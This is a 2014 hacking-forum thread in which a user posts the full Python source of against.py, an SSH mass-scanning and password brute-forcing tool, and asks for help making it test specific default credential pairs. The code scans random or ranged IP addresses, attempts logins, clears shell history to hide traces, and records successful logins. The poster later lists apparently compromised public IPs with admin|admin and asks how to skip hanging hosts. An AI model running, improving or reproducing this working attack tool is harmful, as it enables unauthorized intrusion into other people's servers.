Author Topic: [Python] Need help in improvement of scanner code  (Read 1382 times)

0 Members and 1 Guest are viewing this topic.

Offline qespresso

  • /dev/null
  • *
  • Posts: 15
  • Cookies: -3
    • View Profile
[Python] Need help in improvement of scanner code
« on: June 09, 2014, 03:56:53 am »
To whom it may concern,
I'm seeking for some sh brute force script running in linux. From many source on internet I found there're some solutions for that like THC hydra, medusa or ncrack. But these software have some problem with its performance since they have many features for many services.
I tried SSHtrix from http://noptrix.net/codes.html , it works well but still .. slow.
The one that fit my need was againts.py from http://nullsecurity.net/tools/cracker.html
Here is the code of this cool script
Code: (python) [Select]
#!/usr/bin/env python
# -*- coding: latin-1 -*- ######################################################
#                ____                     _ __                                 #
#     ___  __ __/ / /__ ___ ______ ______(_) /___ __                           #
#    / _ \/ // / / (_-</ -_) __/ // / __/ / __/ // /                           #
#   /_//_/\_,_/_/_/___/\__/\__/\_,_/_/ /_/\__/\_, /                            #
#                                            /___/ team                        #
#                                                                              #
# against.py - mass scanning and brute-forcing script for ssh                  #
#                                                                              #
# FILE                                                                         #
# against.py                                                                   #
#                                                                              #
# DATE                                                                         #
# 2014-02-27                                                                   #
#                                                                              #
# DESCRIPTION                                                                  #
# 'against.py' is a very fast ssh attacking script which includes a            #
# multithreaded port scanning module (tcp connect) for discovering possible    #
# targets and a multithreaded brute-forcing module which attacks               #
# parallel all discovered hosts or given ip addresses from a list.             #
#                                                                              #
# AUTHOR                                                                       #
# pgt - http://www.nullsecurity.net/                                           #
#                                                                              #
# TODO                                                                         #
# - keyboard-interactive handler                                               #
# - scan ip address ranges randomly                                            #
#                                                                              #
# CHANGELOG                                                                    #
# v0.2                                                                         #
# - prints kernel version after login                                          #
# - optimized timings when cracking                                            #
# - detection for key authentication                                           #
# - false positive / small honeypot detection                                  #
# - save found target ip addresses to file, -O option                          #
# - 127.x.x.x will be excluded when scanning for random ip addresses           #
# - unsort found target ip addresses, because of sequential port scanning      #
# - resolve ip address by given hostname                                       #
# - stop attacks on target when keyboard-interactive is required               #
# - set threads for port scanning, -s option                                   #
#                                                                              #
################################################################################


from socket import *
import multiprocessing
import threading
import time
import paramiko
import sys
import os
import logging
import argparse
import random
import re


# version of against.py
VERSION = 'v0.2'


# print our nice banner ;)
def banner():
    print '--==[ against.py by pgt@nullsecurity.net ]==--'

# print version
def version():
    print '[+] against.py %s' % (VERSION)
    sys.exit(0)

# check if we can write to file
def test_file(filename):
    try:
        outfile = open(filename, 'a')
        outfile.close()
    except IOError:
        print '[!] ERROR: cannot write to file \'%s\'' % filename
        sys.exit(1)

# define command line parameters and help page
def argspage():
    parser = argparse.ArgumentParser(
    usage = '\n\n   ./%(prog)s -i <arg> | -r <arg> | -I <arg>',
    formatter_class = argparse.RawDescriptionHelpFormatter,
    epilog =
    'examples:\n\n'

    '  attack single target\n'
    '  usage: ./%(prog)s -i nsa.gov -L passwords.txt\n\n'

    '  scanning and attacking an ip-range\n'
    '  usage: ./%(prog)s -i 192.168.0-10.1-254 -u admin -l troll -s 500',
    add_help = False
    )

    options = parser.add_argument_group('options', '')
    options.add_argument('-i', default=False, metavar='<ip/range>',
            help='ip address/ip range/domain (e.g.: 192.168.0-3.1-254)')
    options.add_argument('-I', default=False, metavar='<file>',
            help='list of targets')
    options.add_argument('-r', default=False, metavar='<num>',
            help='attack random hosts')
    options.add_argument('-p', default=22, metavar='<num>',
            help='port number of sshd (default: 22)')
    options.add_argument('-t', default=4, metavar='<num>',
            help='threads per host (default: 4)')
    options.add_argument('-f', default=8, metavar='<num>',
            help='attack max hosts parallel (default: 8)')
    options.add_argument('-u', default='root', metavar='<username>',
            help='single username (default: root)')
    options.add_argument('-U', default=False, metavar='<file>',
            help='list of usernames')
    options.add_argument('-l', default='toor', metavar='<password>',
            help='single password (default: toor)')
    options.add_argument('-L', default=False, metavar='<file>',
            help='list of passwords')
    options.add_argument('-o', default=False, metavar='<file>',
            help='write found logins to file')
    options.add_argument('-O', default=False, metavar='<file>',
            help='write found target ip addresses to file')
    options.add_argument('-s', default=200, metavar='<num>',
            help='threads when port scanning (default: 200)')
    options.add_argument('-T', default=3, metavar='<sec>',
            help='timeout in seconds (default: 3)')
    options.add_argument('-V', action='store_true',
            help='print version of against.py and exit')

    args = parser.parse_args()

    if args.V:
        version()

    if (args.i == False) and (args.I == False) and (args.r == False):
        print ''
        parser.print_help()
        sys.exit(0)

    return args

# write found ip addresses / logins to file
def write_to_file(filename, text):
    outfile = open(filename, 'a')
    outfile.write(text)
    outfile.close()

# connect to target and checks for an open port
def scan(target, port, timeout, oips):
    sock = socket(AF_INET, SOCK_STREAM)
    sock.settimeout(timeout)
    result = sock.connect_ex((target, port))
    sock.close()
    if result == 0:
        HOSTLIST.append(target)
        if oips:
            write_to_file(oips, target + '\n')

# control the maximum number of threads
def active_threads(threads, waittime):
    while threading.activeCount() > threads:
        time.sleep(waittime)

# create thread and call scan()
def thread_scan(args, target):
    port = int(args.p)
    timeout = float(args.T)
    oips = args.O
    threads = int(args.s)

    bam = threading.Thread(target=scan, args=(target, port, timeout, oips))
    bam.start()

    active_threads(threads, 0.0001)
    time.sleep(0.001)

# only the output when scanning for targets
def scan_output(i):
    sys.stdout.flush()
    sys.stdout.write('\r[*] hosts scanned: {0} | ' \
            'possible to attack: {1}'.format(i, len(HOSTLIST)))

# handle format of given target(s)
def check_targets(targets):
    if re.match(r'^[0-9.\-]*$', targets):
        return targets
    try:
        target = gethostbyname(targets)
        return target
    except gaierror:
        print '[-] \'%s\' is unreachable' % (targets)
        finished()
        sys.exit(1)

# unsort found hosts, because of incremental scanning
def unsort_hostlist():
    print '[*] unsort host list'
    for i in range(15):
        random.shuffle(HOSTLIST)

# handle ip range format from command line
def handle_ip_range(iprange):
    parted = tuple(part for part in iprange.split('.'))

    rsa = range(4)
    rsb = range(4)
    for i in range(4):
        hyphen = parted[i].find('-')
        if hyphen != -1:
            rsa[i] = int(parted[i][:hyphen])
            rsb[i] = int(parted[i][1+hyphen:]) + 1
        else:
            rsa[i] = int(parted[i])
            rsb[i] = int(parted[i]) + 1

    return (rsa, rsb)

# call thread_scan() with target ip addresses
def ip_range(args):
    targets = check_targets(args.i)
    rsa, rsb = handle_ip_range(targets)

    print '[*] scanning %s for ssh services' % targets
    counter = 0
    for i in range(rsa[0], rsb[0]):
        for j in range(rsa[1], rsb[1]):
            for k in range(rsa[2], rsb[2]):
                for l in range(rsa[3], rsb[3]):
                    target = '%d.%d.%d.%d' % (i, j, k, l)
                    counter += 1
                    scan_output(counter)
                    thread_scan(args, target)

    # waiting for the last running threads
    active_threads(1, 0.1)

    scan_output(counter)
    print '\n[*] finished scan'

# create ip addresses
def randip():
    rand = range(4)
    for i in range(4):
        rand[i] = random.randrange(0, 256)

    # exclude 127.x.x.x
    if rand[0] == 127:
        randip()

    ipadd = '%d.%d.%d.%d' % (rand[0], rand[1], rand[2], rand[3])
    return ipadd

# create random ip addresses
def rand_ip(args):
    i = 0
    print '[*] scanning random ips for ssh services'
    while len(HOSTLIST) < int(args.r):
        i += 1
        scan_output(i)
        thread_scan(args, randip())

    # waiting for the last running threads
    active_threads(1, 1)

    scan_output(i)
    print '\n[*] finished scan.'

# checks if given filename by parameter exists
def file_exists(filename):
    try:
        open(filename).readlines()
    except IOError:
        print '[!] ERROR: cannot open file \'%s\'' % filename
        sys.exit(1)

# read-in a file with ip addresses
def ip_list(ipfile):
    file_exists(ipfile)
    targets = open(ipfile).readlines()
    for target in targets:
        HOSTLIST.append(target)

# connect to target and try to login
def crack(target, port, user, passwd, outfile, timeo, i):
    ssh = paramiko.SSHClient()
    ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    user = user.replace('\n', '')
    passwd = passwd.replace('\n', '')
    try:
        ssh.connect(target, port=port, username=user, password=passwd,
                timeout=timeo, pkey=None, allow_agent=False)
        time.sleep(3)
        try:
            ssh.exec_command('unset HISTFILE ; unset HISTSIZE')
            time.sleep(1)
            ssh_stdin, ssh_stdout, ssh_stderr = ssh.exec_command('uname -a ' \
                    '|| cat /proc/version')
            output = 'kernel: %s' \
                    % (ssh_stdout.readlines()[0].replace('\n', ''))
        except:
            output = 'info: maybe a honeypot or false positive'
        login = '[+] login found for %s | %s:%s\n' \
                '[!] %s' % (target, user, passwd, output)
        print login
        if outfile:
            write_to_file(outfile, login + '\n')
        ssh.close()
        os._exit(0)
    except paramiko.AuthenticationException, e:
        ssh.close()
        exception = str(e)
        if '[\'publickey\']' in exception:
            print '[-] key authentication only - ' \
                'stopped attack against %s' % (target)
            os._exit(1)
        elif '\'keyboard-interactive\'' in exception:
            print '[-] %s requires \'keyboard-interactive\' handler' % (target)
            os._exit(1)
    except:
        ssh.close()
        # after 3 timeouts per request the attack against $target will stopped
        if i < 3:
            i += 1
            # reconnect after random seconds (between 0.6 and 1.2 sec)
            randtime = random.uniform(0.6, 1.2)
            time.sleep(randtime)
            crack(target, port, user, passwd, outfile, timeo, i)
        else:
            print '[-] too many timeouts - stopped attack against %s' % (target)
            os._exit(1)

# create 'x' number of threads and call crack()
def thread_it(target, args):
    port = int(args.p)
    user = args.u
    userlist = args.U
    password = args.l
    passlist = args.L
    outfile = args.o
    timeout = float(args.T)
    threads = int(args.t)

    if userlist:
        users = open(userlist).readlines()
    else:
        users = [user]
    if passlist:
        passwords = open(passlist).readlines()
    else:
        passwords = [password]

    # try/except looks dirty but we need it :/
    try:
        for user in users:
            for password in passwords:
                Run = threading.Thread(target=crack, args=(target, port, user,
                    password, outfile, timeout, 0,))
                Run.start()
                # checks that we a max number of threads
                active_threads(threads, 0.01)
                time.sleep(0.1)
        # waiting for the last running threads
        active_threads(1, 1)
    except KeyboardInterrupt:
        os._exit(1)

# create 'x' child processes (child == cracking routine for only one target)
def fork_it(args):
    threads = int(args.t)
    childs = int(args.f)
    len_hosts = len(HOSTLIST)

    print '[*] attacking %d target(s)\n' \
            '[*] cracking up to %d hosts parallel\n' \
            '[*] threads per host: %d' % (len_hosts, childs, threads)

    i = 1
    for host in HOSTLIST:
        host = host.replace('\n', '')
        print '[*] performing attacks against %s [%d/%d]' % (host, i, len_hosts)
        hostfork = multiprocessing.Process(target=thread_it, args=(host, args))
        hostfork.start()
        # checks that we have a max number of childs
        while len(multiprocessing.active_children()) >= childs:
            time.sleep(0.001)
        time.sleep(0.001)
        i += 1

    # waiting for child processes
    while multiprocessing.active_children():
        time.sleep(1)

# \(0.o)/
def empty_hostlist():
    if len(HOSTLIST) == 0:
        print '[-] found no targets to attack!'
        finished()
        sys.exit(1)

# output when against.py finished all routines
def finished():
    print '[*] game over!!!'

def main():
    banner()
    args = argspage()

    if args.U:
        file_exists(args.U)
    if args.L:
        file_exists(args.L)
    if args.o:
        test_file(args.o)
    if args.O:
        test_file(args.O)

    if args.i:
        ip_range(args)
        unsort_hostlist()
    elif args.I:
        ip_list(args.I)
    else:
        rand_ip(args)

    time.sleep(0.1)
    empty_hostlist()
    fork_it(args)
    finished()

if __name__ == '__main__':
    HOSTLIST = []
    try:
        logging.disable(logging.CRITICAL)
        main()
    except KeyboardInterrupt:
        print '\nbye bye!!!'
        time.sleep(0.2)
        os._exit(1)

There's a problem with the code is : it makes a loop of ALL user with ALL password from the text file; I need to just check some login pair for ex: admin:admin ; test:test.. so it can help to reduce the time of checking.
Since I'm very new to python, I hope one can help me to make this improvement.
Thank you very much for visiting my post. I send you my best regards and looking forward to hearing from you guys :)

« Last Edit: June 09, 2014, 03:02:40 pm by Factionwars »

Offline Deque

  • P.I.N.N.
  • Global Moderator
  • Overlord
  • *
  • Posts: 1203
  • Cookies: 518
  • Programmer, Malware Analyst
    • View Profile
Re: [Python] Need help in improvement of scanner code
« Reply #1 on: June 09, 2014, 09:35:31 am »
I don't understand your question. What pairs do you want to check exactly?

Offline qespresso

  • /dev/null
  • *
  • Posts: 15
  • Cookies: -3
    • View Profile
Re: [Python] Need help in improvement of scanner code
« Reply #2 on: June 09, 2014, 09:40:33 am »
The program loops all the user and all the password from the txt file
Code: [Select]
        for user in users:
            for password in passwords:
I need just to check some user|pass login pair like:
Code: [Select]
admin|admin
test|test
ubnt|ubnt

P/S I already found the solution recently. I tried to use split() function and it works like a charm. Thank you very much for you attention to my topic :)


Offline proxx

  • Avatarception
  • Global Moderator
  • Titan
  • *
  • Posts: 2803
  • Cookies: 256
  • ФФФ
    • View Profile
Re: [Python] Need help in improvement of scanner code
« Reply #3 on: June 09, 2014, 05:14:06 pm »
SSHd has a login attempt interval ,, online cracking is terribly slow and tedious operation.
I seriously doupt that any other code will improve the performance of such an attack.
« Last Edit: June 17, 2014, 08:30:15 am by proxx »
Wtf where you thinking with that signature? - Phage.
This was another little experiment *evillaughter - Proxx.
Evilception... - Phage

Offline qespresso

  • /dev/null
  • *
  • Posts: 15
  • Cookies: -3
    • View Profile
Re: [Python] Need help in improvement of scanner code
« Reply #4 on: June 17, 2014, 05:23:01 am »
Hi again in this topic,
Even paramiko support the timeout in connect() function - that's of course used in the script of our topic
Code: (python) [Select]
      ssh.connect(target, port=port, username=user, password=passwd,
                timeout=timeo, pkey=None, allow_agent=False)
But when i tried to execute it, it hangs badly even I set "timeout" parameter already ; especially when the script detect a host with the response code like this
Code: (python) [Select]
74.42.179.47|admin|admin  > session terminated due to idle timeout (600 seconds)                                                                               
184.12.232.241|admin|admin  > session terminated due to idle timeout (600 seconds)                                                                             
200.105.185.201|admin|admin  > session terminated due to idle timeout (600 seconds)   
Could anyone give me a suggestion how to skip these hosts?(since "timeout"  doesn't work)
« Last Edit: June 17, 2014, 05:25:15 am by qespresso »

Offline _UserName_

  • NULL
  • Posts: 1
  • Cookies: 0
    • View Profile
Re: [Python] Need help in improvement of scanner code
« Reply #5 on: July 03, 2014, 07:23:51 pm »
I could be wrong, but by default most SSH servers will drop any connections after three failed login attempts.  Setting the timeout will not change this factor.

Offline proxx

  • Avatarception
  • Global Moderator
  • Titan
  • *
  • Posts: 2803
  • Cookies: 256
  • ФФФ
    • View Profile
Re: [Python] Need help in improvement of scanner code
« Reply #6 on: July 12, 2014, 11:16:40 pm »
I could be wrong, but by default most SSH servers will drop any connections after three failed login attempts.  Setting the timeout will not change this factor.
Drop but not refuse, which does not affect timeout to such an extend however a new connection has to be made indeed.
Wtf where you thinking with that signature? - Phage.
This was another little experiment *evillaughter - Proxx.
Evilception... - Phage